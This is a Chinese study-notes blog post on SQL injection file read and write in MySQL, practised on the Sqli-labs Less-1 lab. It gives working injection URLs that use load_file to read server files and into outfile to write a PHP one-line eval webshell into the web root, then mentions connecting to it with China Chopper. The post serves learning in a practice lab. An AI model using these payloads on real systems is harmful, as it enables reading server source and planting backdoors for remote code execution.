[理论-学习]Web安全-SQL注入-基础11

声明:

由于笔者能力有限,难免出现各种错误和漏洞。全文仅作为个人笔记,仅供参考。

笔记内容来源于各类网课。

环境:

以Sqli-labs中的less1为实验环境。

一、SQL读写文件函数

1. load_file(file_name)

读取文件,将文件内容作为字符串返回。文件使用'/'作为间隔符

需要满足一下条件:

  • 对目标文件有可读权限
  • 文件在服务器上,不能是网络上的文件;
  • 必须使用绝对路径
  • 文件大小必须小于max_allowed_packet大小。

同时还要保证secure_file_prv属性等于空,这样导入不受限制。

show global variables like '%secure%';

 如果没有secure_file_priv,在mysql的my.ini中添加即可。

2. into outfile "file_path"

向文件路径中写内容。

例如select 1,2,3 into outfile "C:/flag.txt",将1,2,3写入到C盘的根目录下的flag.txt文件中。

二、实验(SQL的文件读写)

略去其他步骤,直接开始找回显点。

1. 找到回显点

2. 读取文件

?id=1' and 0  union select 1,2,load_file("E:/demo.txt")  --+

读取phpinfo.php文件。

 读取less-1的php文件。

?id=1%27%20and%200%20%20union%20select%201,2,load_file(%22E:/phpstudy/WWW/sqlilabs/Less-1/index.php%22)%20%20--+

上述代码由于是php,会被页面执行,或写入页面。我们使用hex函数,将他们转为16进制显示。

复制后,再转回文本,即可查看源码。

转码后即可得到源码。

3. 写入文件

?id=1' and 0 union select 1,2,3 into outfile "E:/phpstudy/WWW/sqlilabs/Less-1/flag.txt" --+

文件写成功。我们再尝试写入一句话木马

?id=1' and 0 union select 1,2,"<?php @eval($_POST['shell']); ?>" into outfile "E:/phpstudy/WWW/sqlilabs/Less-1/shell.php" --+

手动使用。 

使用中国菜刀。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值